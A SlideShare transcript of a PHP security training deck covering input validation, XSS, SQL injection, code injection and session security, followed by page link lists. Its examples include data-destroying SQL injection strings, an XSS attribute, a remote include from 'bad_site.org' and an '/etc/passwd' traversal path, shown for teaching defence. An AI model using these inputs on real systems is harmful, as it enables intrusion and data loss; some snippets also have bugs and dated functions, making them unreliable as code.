SlideShare a Scribd company logo
. Training Presented By : Anish  & Mugdha Value One InfoTech Pvt. Ltd.
. Training Importance of PHP Security Concerns of  PHP Security Input Validation Cross-Site Scripting SQL Injection Code Injection Session Security Shared Hosting Topics of Discussion
. Training PHP is widely used language for web applications  PHP is making headway into enterprise as well as corporate markets.  Most effective & often overlooked measure to prevent malicious users  PHP applications often end up working with sensitive data. Importance of PHP Security
. Training INPUT  VALIDATION
. Training All user inputs are unreliable and can’t be trusted. Need for validating any user input before use : Unexpected Modification by the user Intentional attempt to gain unauthorized access to the application Attempt to crash the application by the malicious users  Input Validation
. Training Most common source of vulnerabilities in PHP applications.  Any input parameters are translated to variables :-  ?foo=bar >> $foo = “bar”; No way to determine the input source. Prioritized sources like cookies can overwrite GET values.  When register global is set ON, un-initialized variables can be “injected” via user inputs. Register Globals
. Training Disable register_globals in PHP.ini  ( Disabled by-default as of  PHP 4.2.0 ) Alternative to Register Global : SUPER GLOBALS $_GET – data from get requests. $_POST – post request data. $_COOKIE – cookie information. $_FILES – uploaded file data. $_SERVER – server data $_ENV – environment variables $_REQUEST – mix of GET, POST, COOKIE Solutions To Register Globals
. Training Type sensitive validation conditions. Because input is always a string, type sensitive  compare to a Boolean or an integer will always fail.  Example  if ($authorized === TRUE) {  //  LOGIN SUCCESS }  Contd…
. Training Code with error_reporting set to E_ALL. Allows you to see warnings about the use of  un-initialized  variables. Use of constants  Created via define() function Once set, remains defined until end of  request  Can be made case-insensitive to avoid accidental access to a  different datum caused by case variance.  Contd…
. Training Suffers from the loss of data problem, caused when the same parameter is provided by multiple input sources.  PHP.ini: variables_order = GPCS (Last data source has highest priority) Example  echo $_GET['id']; // 1 echo $_COOKIE['id']; // 2 echo $_REQUEST['id']; // 2 Use the input method-specific superglobals intead of $_REQUEST Cons of $  REQUEST
. Training All data passed to PHP (GET/POST/COOKIE) ends up being a string. Using strings where integers are needed is not only inefficient but also dangerous.  Casting is a simple and very efficient way to ensure that variables  contain numeric values.  Example of floating point number validation if (!empty($_GET['price']))  {  $price = (float) $_GET['price']; }  else  $price = 0; Numeric Data Validation
. Training PHP comes with a ctype, extension that offers a very quick mechanism for validating string content. if (!ctype_alnum($_GET['login'])) { echo "Only A-Za-z0-9 are allowed."; } if (!ctype_alpha($_GET['captcha'])) { echo "Only A-Za-z are allowed."; } if (!ctype_xdigit($_GET['color'])) { echo "Only hexadecimal values are allowed"; } String Validation
. Training What are Magic Quotes ?? Problems associated with it !! How to deal with it ??  Using Magic Quotes
. Training XSS
. Training Cross Site Scripting (XSS) is a situation where by attacker injects HTML code, which is then displayed on the page without further validation.  Can lead to embarrassment Session take-over Password theft User tracking by 3rd parties Cross Site Scripting (XSS)
. Training Prevention of XSS is as simple as filtering input data via one of  the following: htmlspecialchars()   Encodes ‘, “, <, >, & htmlentities()   Convert anything that there is HTML entity for. strip_tags()   Strips anything that resembles HTML tag. Tag allowances in strip_tags() are dangerous, because attributes  of those tags are not being validated in any way. Preventing XSS
. Training $str = strip_tags($_POST['message']); // encode any foreign & special chars $str = htmlentities($str); // strip tags can be told to &quot;keep&quot; certain tags $str = strip_tags($_POST['message'], '<b><p><i><u>'); // tag allowance problems <u onmouseover=&quot;alert('JavaScript is allowed');&quot;> <b style=&quot;font-size: 500px&quot;>Lot's of text</b> </u> Preventing XSS
. Training SQL Injection
. Training SQL injection is similar to XSS, in the fact that not validated data  is being used. But in this case this data is passed to the database.  Arbitrary query execution Removal of data. Modification of existing values. Denial of service. Arbitrary data injection. // consider this query, it will delete all records from users $name = “mugdha’; DELETE FROM users;”; mysql_query(“SELECT * FROM users WHERE name =’{$name}’”); SQL Injection
. Training If your database extension offers a specific escaping function then always use it; instead of other methods MySQL mysql_escape_string() mysql_real_escape_string() PostgreSQL pg_escape_string() pg_escape_bytea() SQLite sqlite_escape_string()   SQL Escaping
. Training SQL Escaping in Practice // undo magic_quotes_gpc to avoid double escaping if (get_magic_quotes_gpc()) { $_GET['name'] = stripslashes($_GET['name']; $_POST['binary'] = stripslashes($_GET['binary']); } $name = pg_escape_string($_GET['name']); $binary = pg_escape_bytea($_POST['binary']); pg_query($db, &quot;INSERT INTO tbl (name,image) VALUES('{$name}', '{$image}')&quot;);
. Training When un-quoted integers are passed to SQL queries, escaping functions won’t save you, since there are no special chars to escape. http://example.com/db.php?id=0;DELETE%20FROM%20users <?php $id = sqlite_escape_string($_GET['id']); // $id is still 0;DELETE FROM users sqlite_query($db,&quot;SELECT * FROM users WHERE id={$id}&quot;); // Bye Bye user data... ?>  Escaping Shortfall
. Training Prepared statements are a mechanism to secure and optimize execution of repeated queries. Works by making SQL “compile” the query and then substitute in the changing values for each execution. Increased performance,  one compile vs one per query. Better security, data is “type set” will never be evaluated as separate query. Supported by most database systems. MySQL users will need to use version 4.1 or higher. SQLite extension does not support this either. Prepared Statements
. Training <?php $data = &quot;Here is some text to index&quot;; pg_query($db, &quot;PREPARE my_stmt (text) AS INSERT INTO search_idx (word) VALUES($1)&quot;); foreach (explode(&quot; &quot;, $data) as $word) { // no is escaping needed pg_query($db, &quot;EXECUTE my_stmt({$word})&quot;); } // de-allocte the prepared statement pg_query($db, &quot;DEALLOCATE my_stmt&quot;); ?>   Unless explicitly removed, prepared statements “stay alive” between persistent connections. Prepared Statements
. Training Code Injection
. Training Code Injection is the execution of arbitrary local or remote code. The two of the most common sources of code injection are: Dynamic paths/files used in require/include statements eval(): A major source of code injection is the improper validation of eval(). Code Injection
. Training Avoid using dynamic or relative paths/files in your code. Although somewhat less convenient; always use full paths, defined by constants, which will prevent attacks like these: <?php //dynamic path $_GET['path'] = ‘http://bad_site.org’; include &quot;{$_GET['path']}/header.inc&quot;; //dynamic file $_GET[‘interface’] = ‘../../../../../etc/passwd’; require‘home/mbr/profile/templates_c/interfaces/’.$_GET[‘interface’]; ?> There are some other ways to secure include or require calls... Code Injection Prevention
. Training work with a white-list of acceptable values. //create an array of acceptable file names $tmpl = array(); foreach(glob(&quot;templates/*.tmpl&quot;) as $v) { $tmpl[md5($v)] = $v; } if (isset($tmpl[$_GET['path']])) { $fp = fopen($tmpl[$_GET['path']], &quot;r&quot;); } Code Injection Prevention
. Training Session Security
. Training Sessions are a common tool for user tracking across a web site. For the duration of a visit, the session is effectively the user’s identity. If an active session can be obtained by 3rd party, it can assume the identity of the user who’s session was compromised. Session Security
. Training To prevent session id theft, the id can be altered on every request, invalidating old values. <?php session_start(); if (!empty($_SESSION)) {  // not a new session session_regenerate_id(TRUE);  // make new session id } ?> Because the session changes on every request, the “back” button in a browser will no longer work, as it will make a request with the old session id. Securing Session ID
. Training Another session security technique is to compare the browser signature headers. session_start(); $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']); if (empty($_SESSION)) $_SESSION['key'] = $chk; else if ($_SESSION['key'] != $chk) session_destroy(); Session Validation
. Training By default PHP sessions are stored as files inside the common / tmp directory. This often means any user on the system could see active sessions and “acquire” them or even modify their content. Solutions? Separate session storage directory via session.save_path Database storage mechanism, mysql, pgsql, oci, sqlite. Custom session handler allowing data storage anywhere. Safer Session Storage
. Training Shared Hosting
. Training Most PHP applications run in shared environments where all  users “share” the same web server instances. This means that all files that are involved in serving content must   be accessible to the web server (world readable). Consequently it means that any user could read the content of files of all other users. Shared Hosting
. Training PHP’s solution to this problem are 2 php.ini directives. open_basedir  – limits file access to one or more specified directories. Relatively Efficient. Uncomplicated. safe_mode  – limits file access based on uid/gid of running script and file to be accessed. Slow and complex approach. Can be bypassed with little effort. The PHP Solution
. Training php|architect’s  Guide to PHP Security By Ilia Alshanetsky Essential PHP Security By Chris Shiflett References
. Training
Ad

Recommended

PHP Cookies and Sessions
PHP Cookies and Sessions
Nisa Soomro
 
Angular - Chapter 4 - Data and Event Handling
Angular - Chapter 4 - Data and Event Handling
WebStackAcademy
 
Web Development Course: PHP lecture 1
Web Development Course: PHP lecture 1
Gheyath M. Othman
 
4.2 PHP Function
4.2 PHP Function
Jalpesh Vasa
 
jQuery -Chapter 2 - Selectors and Events
jQuery -Chapter 2 - Selectors and Events
WebStackAcademy
 
Sql injection - security testing
Sql injection - security testing
Napendra Singh
 
Sql injection with sqlmap
Sql injection with sqlmap
Herman Duarte
 
Web forms in ASP.net
Web forms in ASP.net
Madhuri Kavade
 
Sqlmap
Sqlmap
Rushikesh Kulkarni
 
Ppt on sql injection
Ppt on sql injection
ashish20012
 
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
Edureka!
 
1 03 - CSS Introduction
1 03 - CSS Introduction
apnwebdev
 
Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scripting
Secure Code Warrior
 
Php string function
Php string function
Ravi Bhadauria
 
Php forms
Php forms
Anne Lee
 
SSRF For Bug Bounties
SSRF For Bug Bounties
OWASP Nagpur
 
Sql Injection Myths and Fallacies
Sql Injection Myths and Fallacies
Karwin Software Solutions LLC
 
PHP - Introduction to PHP Cookies and Sessions
PHP - Introduction to PHP Cookies and Sessions
Vibrant Technologies & Computers
 
Generics and collections in Java
Generics and collections in Java
Gurpreet singh
 
Cookie and session
Cookie and session
Aashish Ghale
 
jQuery for beginners
jQuery for beginners
Arulmurugan Rajaraman
 
Regular expression in javascript
Regular expression in javascript
Toan Nguyen
 
ASP.NET MVC 3.0 Validation
ASP.NET MVC 3.0 Validation
Eyal Vardi
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
Michael Hendrickx
 
JDBC – Java Database Connectivity
JDBC – Java Database Connectivity
Information Technology
 
Css box-sizing
Css box-sizing
Webtech Learning
 
PHP - Introduction to PHP Forms
PHP - Introduction to PHP Forms
Vibrant Technologies & Computers
 
Sql injection
Sql injection
Pallavi Biswas
 
Intro to Php Security
Intro to Php Security
Dave Ross
 
Php Presentation
Php Presentation
Manish Bothra
 

More Related Content

What's hot (20)

Sqlmap
Sqlmap
Rushikesh Kulkarni
 
Ppt on sql injection
Ppt on sql injection
ashish20012
 
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
Edureka!
 
1 03 - CSS Introduction
1 03 - CSS Introduction
apnwebdev
 
Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scripting
Secure Code Warrior
 
Php string function
Php string function
Ravi Bhadauria
 
Php forms
Php forms
Anne Lee
 
SSRF For Bug Bounties
SSRF For Bug Bounties
OWASP Nagpur
 
Sql Injection Myths and Fallacies
Sql Injection Myths and Fallacies
Karwin Software Solutions LLC
 
PHP - Introduction to PHP Cookies and Sessions
PHP - Introduction to PHP Cookies and Sessions
Vibrant Technologies & Computers
 
Generics and collections in Java
Generics and collections in Java
Gurpreet singh
 
Cookie and session
Cookie and session
Aashish Ghale
 
jQuery for beginners
jQuery for beginners
Arulmurugan Rajaraman
 
Regular expression in javascript
Regular expression in javascript
Toan Nguyen
 
ASP.NET MVC 3.0 Validation
ASP.NET MVC 3.0 Validation
Eyal Vardi
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
Michael Hendrickx
 
JDBC – Java Database Connectivity
JDBC – Java Database Connectivity
Information Technology
 
Css box-sizing
Css box-sizing
Webtech Learning
 
PHP - Introduction to PHP Forms
PHP - Introduction to PHP Forms
Vibrant Technologies & Computers
 
Sql injection
Sql injection
Pallavi Biswas
 
Ppt on sql injection
Ppt on sql injection
ashish20012
 
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
Edureka!
 
1 03 - CSS Introduction
1 03 - CSS Introduction
apnwebdev
 
Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scripting
Secure Code Warrior
 
SSRF For Bug Bounties
SSRF For Bug Bounties
OWASP Nagpur
 
Generics and collections in Java
Generics and collections in Java
Gurpreet singh
 
Regular expression in javascript
Regular expression in javascript
Toan Nguyen
 
ASP.NET MVC 3.0 Validation
ASP.NET MVC 3.0 Validation
Eyal Vardi
 

Viewers also liked (20)

Intro to Php Security
Intro to Php Security
Dave Ross
 
Php Presentation
Php Presentation
Manish Bothra
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧
Orange Tsai
 
Oops in PHP
Oops in PHP
Mindfire Solutions
 
Introduction to PHP
Introduction to PHP
Bradley Holt
 
Php mysql ppt
Php mysql ppt
Karmatechnologies Pvt. Ltd.
 
PHP Powerpoint -- Teach PHP with this
PHP Powerpoint -- Teach PHP with this
Ian Macali
 
PHP Security Basics
PHP Security Basics
John Coggeshall
 
PHP Security
PHP Security
Mindfire Solutions
 
Php Security
Php Security
guest7cf35c
 
An Anatomy of a SQL Injection Attack
An Anatomy of a SQL Injection Attack
Imperva
 
LFI to RCE
LFI to RCE
n|u - The Open Security Community
 
Web Application Security 101 - 14 Data Validation
Web Application Security 101 - 14 Data Validation
Websecurify
 
Cryptoghaphy
Cryptoghaphy
anita bodke
 
Hacking 101 & Yahoo Mobile Developer Suite - YMDC NYC
Hacking 101 & Yahoo Mobile Developer Suite - YMDC NYC
Saurabh Sahni
 
HTTP/2 - The Web of Future
HTTP/2 - The Web of Future
Vahè Èvoyan
 
PHP Secure Programming
PHP Secure Programming
Balavignesh Kasinathan
 
Defcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injection
Ahmed AbdelSatar
 
Web Application Security with PHP
Web Application Security with PHP
jikbal
 
Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101
Imperva
 
Intro to Php Security
Intro to Php Security
Dave Ross
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧
Orange Tsai
 
Introduction to PHP
Introduction to PHP
Bradley Holt
 
PHP Powerpoint -- Teach PHP with this
PHP Powerpoint -- Teach PHP with this
Ian Macali
 
An Anatomy of a SQL Injection Attack
An Anatomy of a SQL Injection Attack
Imperva
 
Web Application Security 101 - 14 Data Validation
Web Application Security 101 - 14 Data Validation
Websecurify
 
Hacking 101 & Yahoo Mobile Developer Suite - YMDC NYC
Hacking 101 & Yahoo Mobile Developer Suite - YMDC NYC
Saurabh Sahni
 
HTTP/2 - The Web of Future
HTTP/2 - The Web of Future
Vahè Èvoyan
 
Defcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injection
Ahmed AbdelSatar
 
Web Application Security with PHP
Web Application Security with PHP
jikbal
 
Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101
Imperva
 
Ad

Similar to PHP Security (20)

Php Security3895
Php Security3895
Aung Khant
 
Php Security By Mugdha And Anish
Php Security By Mugdha And Anish
OSSCube
 
12-security.ppt - PHP and Arabic Language - Index
12-security.ppt - PHP and Arabic Language - Index
webhostingguy
 
Security.ppt
Security.ppt
webhostingguy
 
Concern of Web Application Security
Concern of Web Application Security
Mahmud Ahsan
 
P H P Part I I, By Kian
P H P Part I I, By Kian
phelios
 
Php frameworks
Php frameworks
Anil Kumar Panigrahi
 
2009 Barcamp Nashville Web Security 101
2009 Barcamp Nashville Web Security 101
brian_dailey
 
Php My Sql Security 2007
Php My Sql Security 2007
Aung Khant
 
Web Scraping with PHP
Web Scraping with PHP
Matthew Turland
 
Cakefest 2010: API Development
Cakefest 2010: API Development
Andrew Curioso
 
Web Security Mistakes: Trusting The Client
Web Security Mistakes: Trusting The Client
grutz
 
Framework
Framework
Nguyen Linh
 
How to Create Login and Registration API in PHP.pdf
How to Create Login and Registration API in PHP.pdf
Appweb Coders
 
PHP Unit Testing
PHP Unit Testing
Tagged Social
 
Testing persistence in PHP with DbUnit
Testing persistence in PHP with DbUnit
Peter Wilcsinszky
 
Ubi comp27nov04
Ubi comp27nov04
mohamed ashraf
 
Form Processing In Php
Form Processing In Php
Harit Kothari
 
05 File Handling Upload Mysql
05 File Handling Upload Mysql
Geshan Manandhar
 
Php Security
Php Security
Amit Kumar Singh
 
Php Security3895
Php Security3895
Aung Khant
 
Php Security By Mugdha And Anish
Php Security By Mugdha And Anish
OSSCube
 
12-security.ppt - PHP and Arabic Language - Index
12-security.ppt - PHP and Arabic Language - Index
webhostingguy
 
Concern of Web Application Security
Concern of Web Application Security
Mahmud Ahsan
 
P H P Part I I, By Kian
P H P Part I I, By Kian
phelios
 
2009 Barcamp Nashville Web Security 101
2009 Barcamp Nashville Web Security 101
brian_dailey
 
Php My Sql Security 2007
Php My Sql Security 2007
Aung Khant
 
Cakefest 2010: API Development
Cakefest 2010: API Development
Andrew Curioso
 
Web Security Mistakes: Trusting The Client
Web Security Mistakes: Trusting The Client
grutz
 
How to Create Login and Registration API in PHP.pdf
How to Create Login and Registration API in PHP.pdf
Appweb Coders
 
Testing persistence in PHP with DbUnit
Testing persistence in PHP with DbUnit
Peter Wilcsinszky
 
Form Processing In Php
Form Processing In Php
Harit Kothari
 
05 File Handling Upload Mysql
05 File Handling Upload Mysql
Geshan Manandhar
 
Ad

More from manugoel2003 (10)

Css Specificity
Css Specificity
manugoel2003
 
Subversion (SVN)
Subversion (SVN)
manugoel2003
 
Zend Framework
Zend Framework
manugoel2003
 
Drupal CMS
Drupal CMS
manugoel2003
 
Securing Your Web Server
Securing Your Web Server
manugoel2003
 
Introduction to jQuery
Introduction to jQuery
manugoel2003
 
Drupal Best Practices
Drupal Best Practices
manugoel2003
 
OOP in JavaScript
OOP in JavaScript
manugoel2003
 
CiviCRM
CiviCRM
manugoel2003
 
PHP Documentor
PHP Documentor
manugoel2003
 

Recently uploaded (20)

RECENT DEVELOPMENT IN TAXATION OF CHARITABLE TRUST
RECENT DEVELOPMENT IN TAXATION OF CHARITABLE TRUST
imccci
 
最新版意大利布雷西亚大学毕业证(BRESCIA毕业证书)原版定制
最新版意大利布雷西亚大学毕业证(BRESCIA毕业证书)原版定制
taqyea
 
Issues pertaining to Penalty, Prosecution and Compounding procedures under TD...
Issues pertaining to Penalty, Prosecution and Compounding procedures under TD...
imccci
 
Middle East Conflict Sparks Oil Price Surge – Global Markets on Alert
Middle East Conflict Sparks Oil Price Surge – Global Markets on Alert
Swiss International University SIU
 
Making Heritage Inclusive at Shivsrushti - How a single donation made cultura...
Making Heritage Inclusive at Shivsrushti - How a single donation made cultura...
Raj Kumble
 
Family Governance Presentation by Dinesh Kanabar
Family Governance Presentation by Dinesh Kanabar
imccci
 
STOCK TRADING COURSE BY FINANCEWORLD.IO (PDF)
STOCK TRADING COURSE BY FINANCEWORLD.IO (PDF)
AndrewBorisenko3
 
2025 RWA Report: When Crypto Gets Real | CoinGecko
2025 RWA Report: When Crypto Gets Real | CoinGecko
CoinGecko Research
 
INVESTMENT ANALYSIS AND PORTFOLIO MANAGEMENT-1.pptx
INVESTMENT ANALYSIS AND PORTFOLIO MANAGEMENT-1.pptx
Ankush Upadhyay
 
Invoice Factoring Broker Training | Charter Capital
Invoice Factoring Broker Training | Charter Capital
Keith Mabe
 
The Ultimate Guide to Buy Verified LinkedIn Accounts.docx
The Ultimate Guide to Buy Verified LinkedIn Accounts.docx
Buy Verified Linkedin Accounts
 
The Impact of Blockchain Technology on India’s Financial Sector
The Impact of Blockchain Technology on India’s Financial Sector
realtaxindia07
 
USE AND IMPACT OF INSECTICIDES IN MEALYBUG CONTROL.
USE AND IMPACT OF INSECTICIDES IN MEALYBUG CONTROL.
ijab2
 
C H Bhabha Memorial Endowment Public Meeting
C H Bhabha Memorial Endowment Public Meeting
imccci
 
Session 1111111111_Capital Budgeting.pptx
Session 1111111111_Capital Budgeting.pptx
benediktnetzer1
 
Why Alternative Payment Methods Are Changing the International Business Lands...
Why Alternative Payment Methods Are Changing the International Business Lands...
PayXBorder
 
最新版美国威斯康星大学密尔沃基分校毕业证(UWM毕业证书)原版定制
最新版美国威斯康星大学密尔沃基分校毕业证(UWM毕业证书)原版定制
taqyea
 
Who is required to file form 10B/10BB – Rule 16CC and Rule 17B
Who is required to file form 10B/10BB – Rule 16CC and Rule 17B
imccci
 
Booklet_WCY_2025IMDIMDIMDIMDIMDIMDIMDIMDIMD
Booklet_WCY_2025IMDIMDIMDIMDIMDIMDIMDIMDIMD
中 央社
 
Prospects & Challenges of Doing Business in Nepal: Investment Opportunities, ...
Prospects & Challenges of Doing Business in Nepal: Investment Opportunities, ...
Kshitiz Parajuli
 
RECENT DEVELOPMENT IN TAXATION OF CHARITABLE TRUST
RECENT DEVELOPMENT IN TAXATION OF CHARITABLE TRUST
imccci
 
最新版意大利布雷西亚大学毕业证(BRESCIA毕业证书)原版定制
最新版意大利布雷西亚大学毕业证(BRESCIA毕业证书)原版定制
taqyea
 
Issues pertaining to Penalty, Prosecution and Compounding procedures under TD...
Issues pertaining to Penalty, Prosecution and Compounding procedures under TD...
imccci
 
Middle East Conflict Sparks Oil Price Surge – Global Markets on Alert
Middle East Conflict Sparks Oil Price Surge – Global Markets on Alert
Swiss International University SIU
 
Making Heritage Inclusive at Shivsrushti - How a single donation made cultura...
Making Heritage Inclusive at Shivsrushti - How a single donation made cultura...
Raj Kumble
 
Family Governance Presentation by Dinesh Kanabar
Family Governance Presentation by Dinesh Kanabar
imccci
 
STOCK TRADING COURSE BY FINANCEWORLD.IO (PDF)
STOCK TRADING COURSE BY FINANCEWORLD.IO (PDF)
AndrewBorisenko3
 
2025 RWA Report: When Crypto Gets Real | CoinGecko
2025 RWA Report: When Crypto Gets Real | CoinGecko
CoinGecko Research
 
INVESTMENT ANALYSIS AND PORTFOLIO MANAGEMENT-1.pptx
INVESTMENT ANALYSIS AND PORTFOLIO MANAGEMENT-1.pptx
Ankush Upadhyay
 
Invoice Factoring Broker Training | Charter Capital
Invoice Factoring Broker Training | Charter Capital
Keith Mabe
 
The Ultimate Guide to Buy Verified LinkedIn Accounts.docx
The Ultimate Guide to Buy Verified LinkedIn Accounts.docx
Buy Verified Linkedin Accounts
 
The Impact of Blockchain Technology on India’s Financial Sector
The Impact of Blockchain Technology on India’s Financial Sector
realtaxindia07
 
USE AND IMPACT OF INSECTICIDES IN MEALYBUG CONTROL.
USE AND IMPACT OF INSECTICIDES IN MEALYBUG CONTROL.
ijab2
 
C H Bhabha Memorial Endowment Public Meeting
C H Bhabha Memorial Endowment Public Meeting
imccci
 
Session 1111111111_Capital Budgeting.pptx
Session 1111111111_Capital Budgeting.pptx
benediktnetzer1
 
Why Alternative Payment Methods Are Changing the International Business Lands...
Why Alternative Payment Methods Are Changing the International Business Lands...
PayXBorder
 
最新版美国威斯康星大学密尔沃基分校毕业证(UWM毕业证书)原版定制
最新版美国威斯康星大学密尔沃基分校毕业证(UWM毕业证书)原版定制
taqyea
 
Who is required to file form 10B/10BB – Rule 16CC and Rule 17B
Who is required to file form 10B/10BB – Rule 16CC and Rule 17B
imccci
 
Booklet_WCY_2025IMDIMDIMDIMDIMDIMDIMDIMDIMD
Booklet_WCY_2025IMDIMDIMDIMDIMDIMDIMDIMDIMD
中 央社
 
Prospects & Challenges of Doing Business in Nepal: Investment Opportunities, ...
Prospects & Challenges of Doing Business in Nepal: Investment Opportunities, ...
Kshitiz Parajuli
 

PHP Security

  • 1. . Training Presented By : Anish & Mugdha Value One InfoTech Pvt. Ltd.
  • 2. . Training Importance of PHP Security Concerns of PHP Security Input Validation Cross-Site Scripting SQL Injection Code Injection Session Security Shared Hosting Topics of Discussion
  • 3. . Training PHP is widely used language for web applications PHP is making headway into enterprise as well as corporate markets. Most effective & often overlooked measure to prevent malicious users PHP applications often end up working with sensitive data. Importance of PHP Security
  • 4. . Training INPUT VALIDATION
  • 5. . Training All user inputs are unreliable and can’t be trusted. Need for validating any user input before use : Unexpected Modification by the user Intentional attempt to gain unauthorized access to the application Attempt to crash the application by the malicious users Input Validation
  • 6. . Training Most common source of vulnerabilities in PHP applications. Any input parameters are translated to variables :- ?foo=bar >> $foo = “bar”; No way to determine the input source. Prioritized sources like cookies can overwrite GET values. When register global is set ON, un-initialized variables can be “injected” via user inputs. Register Globals
  • 7. . Training Disable register_globals in PHP.ini ( Disabled by-default as of PHP 4.2.0 ) Alternative to Register Global : SUPER GLOBALS $_GET – data from get requests. $_POST – post request data. $_COOKIE – cookie information. $_FILES – uploaded file data. $_SERVER – server data $_ENV – environment variables $_REQUEST – mix of GET, POST, COOKIE Solutions To Register Globals
  • 8. . Training Type sensitive validation conditions. Because input is always a string, type sensitive compare to a Boolean or an integer will always fail. Example if ($authorized === TRUE) { // LOGIN SUCCESS } Contd…
  • 9. . Training Code with error_reporting set to E_ALL. Allows you to see warnings about the use of un-initialized variables. Use of constants Created via define() function Once set, remains defined until end of request Can be made case-insensitive to avoid accidental access to a different datum caused by case variance. Contd…
  • 10. . Training Suffers from the loss of data problem, caused when the same parameter is provided by multiple input sources. PHP.ini: variables_order = GPCS (Last data source has highest priority) Example echo $_GET['id']; // 1 echo $_COOKIE['id']; // 2 echo $_REQUEST['id']; // 2 Use the input method-specific superglobals intead of $_REQUEST Cons of $ REQUEST
  • 11. . Training All data passed to PHP (GET/POST/COOKIE) ends up being a string. Using strings where integers are needed is not only inefficient but also dangerous. Casting is a simple and very efficient way to ensure that variables contain numeric values. Example of floating point number validation if (!empty($_GET['price'])) { $price = (float) $_GET['price']; } else $price = 0; Numeric Data Validation
  • 12. . Training PHP comes with a ctype, extension that offers a very quick mechanism for validating string content. if (!ctype_alnum($_GET['login'])) { echo &quot;Only A-Za-z0-9 are allowed.&quot;; } if (!ctype_alpha($_GET['captcha'])) { echo &quot;Only A-Za-z are allowed.&quot;; } if (!ctype_xdigit($_GET['color'])) { echo &quot;Only hexadecimal values are allowed&quot;; } String Validation
  • 13. . Training What are Magic Quotes ?? Problems associated with it !! How to deal with it ?? Using Magic Quotes
  • 15. . Training Cross Site Scripting (XSS) is a situation where by attacker injects HTML code, which is then displayed on the page without further validation. Can lead to embarrassment Session take-over Password theft User tracking by 3rd parties Cross Site Scripting (XSS)
  • 16. . Training Prevention of XSS is as simple as filtering input data via one of the following: htmlspecialchars() Encodes ‘, “, <, >, & htmlentities() Convert anything that there is HTML entity for. strip_tags() Strips anything that resembles HTML tag. Tag allowances in strip_tags() are dangerous, because attributes of those tags are not being validated in any way. Preventing XSS
  • 17. . Training $str = strip_tags($_POST['message']); // encode any foreign & special chars $str = htmlentities($str); // strip tags can be told to &quot;keep&quot; certain tags $str = strip_tags($_POST['message'], '<b><p><i><u>'); // tag allowance problems <u onmouseover=&quot;alert('JavaScript is allowed');&quot;> <b style=&quot;font-size: 500px&quot;>Lot's of text</b> </u> Preventing XSS
  • 18. . Training SQL Injection
  • 19. . Training SQL injection is similar to XSS, in the fact that not validated data is being used. But in this case this data is passed to the database. Arbitrary query execution Removal of data. Modification of existing values. Denial of service. Arbitrary data injection. // consider this query, it will delete all records from users $name = “mugdha’; DELETE FROM users;”; mysql_query(“SELECT * FROM users WHERE name =’{$name}’”); SQL Injection
  • 20. . Training If your database extension offers a specific escaping function then always use it; instead of other methods MySQL mysql_escape_string() mysql_real_escape_string() PostgreSQL pg_escape_string() pg_escape_bytea() SQLite sqlite_escape_string() SQL Escaping
  • 21. . Training SQL Escaping in Practice // undo magic_quotes_gpc to avoid double escaping if (get_magic_quotes_gpc()) { $_GET['name'] = stripslashes($_GET['name']; $_POST['binary'] = stripslashes($_GET['binary']); } $name = pg_escape_string($_GET['name']); $binary = pg_escape_bytea($_POST['binary']); pg_query($db, &quot;INSERT INTO tbl (name,image) VALUES('{$name}', '{$image}')&quot;);
  • 22. . Training When un-quoted integers are passed to SQL queries, escaping functions won’t save you, since there are no special chars to escape. http://example.com/db.php?id=0;DELETE%20FROM%20users <?php $id = sqlite_escape_string($_GET['id']); // $id is still 0;DELETE FROM users sqlite_query($db,&quot;SELECT * FROM users WHERE id={$id}&quot;); // Bye Bye user data... ?> Escaping Shortfall
  • 23. . Training Prepared statements are a mechanism to secure and optimize execution of repeated queries. Works by making SQL “compile” the query and then substitute in the changing values for each execution. Increased performance, one compile vs one per query. Better security, data is “type set” will never be evaluated as separate query. Supported by most database systems. MySQL users will need to use version 4.1 or higher. SQLite extension does not support this either. Prepared Statements
  • 24. . Training <?php $data = &quot;Here is some text to index&quot;; pg_query($db, &quot;PREPARE my_stmt (text) AS INSERT INTO search_idx (word) VALUES($1)&quot;); foreach (explode(&quot; &quot;, $data) as $word) { // no is escaping needed pg_query($db, &quot;EXECUTE my_stmt({$word})&quot;); } // de-allocte the prepared statement pg_query($db, &quot;DEALLOCATE my_stmt&quot;); ?> Unless explicitly removed, prepared statements “stay alive” between persistent connections. Prepared Statements
  • 25. . Training Code Injection
  • 26. . Training Code Injection is the execution of arbitrary local or remote code. The two of the most common sources of code injection are: Dynamic paths/files used in require/include statements eval(): A major source of code injection is the improper validation of eval(). Code Injection
  • 27. . Training Avoid using dynamic or relative paths/files in your code. Although somewhat less convenient; always use full paths, defined by constants, which will prevent attacks like these: <?php //dynamic path $_GET['path'] = ‘http://bad_site.org’; include &quot;{$_GET['path']}/header.inc&quot;; //dynamic file $_GET[‘interface’] = ‘../../../../../etc/passwd’; require‘home/mbr/profile/templates_c/interfaces/’.$_GET[‘interface’]; ?> There are some other ways to secure include or require calls... Code Injection Prevention
